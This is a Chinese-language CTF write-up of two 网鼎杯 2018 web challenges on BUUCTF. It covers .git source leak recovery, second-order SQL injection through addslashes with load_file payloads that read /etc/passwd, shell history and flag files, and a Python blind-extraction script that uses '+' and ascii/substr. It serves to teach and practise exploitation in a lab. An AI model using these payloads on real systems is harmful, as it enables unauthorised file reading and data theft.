title: BUU刷题记_网鼎杯专栏2
date: 2001-07-16 18:30:26
tags: [addslashes()、二次注入 漏洞,gbk编码导致的宽字节注入漏洞,.git文件泄露及GitHacker使用,SQL二次注入:+与ascii绕过,]
swiper_index: 0
[网鼎杯 2018]Comment
知识点:
-
网站目录扫描
-
.git文件泄露
-
GitHacker文件使用
-
addslashes()、二次注入 漏洞
-
gbk编码导致的宽字节注入漏洞
-
/var/www/html 为网站根目录
-
.git文件泄露------> kali中修复文件:到生成文件的目录:
git log --relog
得到继续:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
-
利用文件的读取
load_file()
函数
原理:
两个功能模块,一个是发帖,另一个是评论,两个功能。
两个地方都利用到了***addslash进行转义***,但是都仅仅对于输入进行转义,对于输出没有进行转义,这就有可能造成二次注入,在mysql中,addslash添加的反斜杠是能够起作用的,即\'
在表里面value值就是'
的意义,那么我们拿出来的时候就可以进行闭合了。
Payload:
',content=user(),/*
',content=(select(load_file("/etc/passwd"))),/*
',content=(select(load_file("/home/www/.bash_history"))),/*
',content=(select(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
Payload中/**/
表示多行注释
参考
GitHub - WangYihang/GitHacker:🕷️一种 Git 源代码泄漏利用工具,可恢复整个 Git 存储库,包括来自存储的数据,用于白盒审核和分析开发人员的思想
[网鼎杯2018]Unfinish
知识点
SQL二次注入:+与ascii绕过
显示login.php,猜测有register.php,登录后回显用户名
猜测,注册的语句大概为
insert table values ('email','username','password')
fuzz之后发现逗号,information等许多关键字被过滤绕过方法:
flag字段是猜测的,不知道字段长度,直接将查询语句作为username会返回这样
username闭合后只能作为一个值来返回,因此不能将整个语句直接查询,故使用'str'+'str'+'str'
来构造二次注入查询
sql中+
与from for<绕过,
>
Payload:username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i)
大佬脚本:
``import requests
import logging
import re
from time import sleep
def search():
flag = ‘’
url = ‘http://6602d8e4-7a78-4a54-a614-34ffecd4cb55.node4.buuoj.cn:81/’
url1 = url+‘register.php’
url2 = url+‘login.php’
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {“email” : “1234{}@123.com”.format(i), “username” : “0’+ascii(substr((select * from flag) from {} for 1))+'0;”.format(i), “password” : “123”}
data2 = {“email” : “1234{}@123.com”.format(i), “password” : “123”}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r’\s*(\d*)\s*‘,r2.text)
res1 = re.search(r’\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print(“final:”+flag)
if name == ‘main’:
search()
``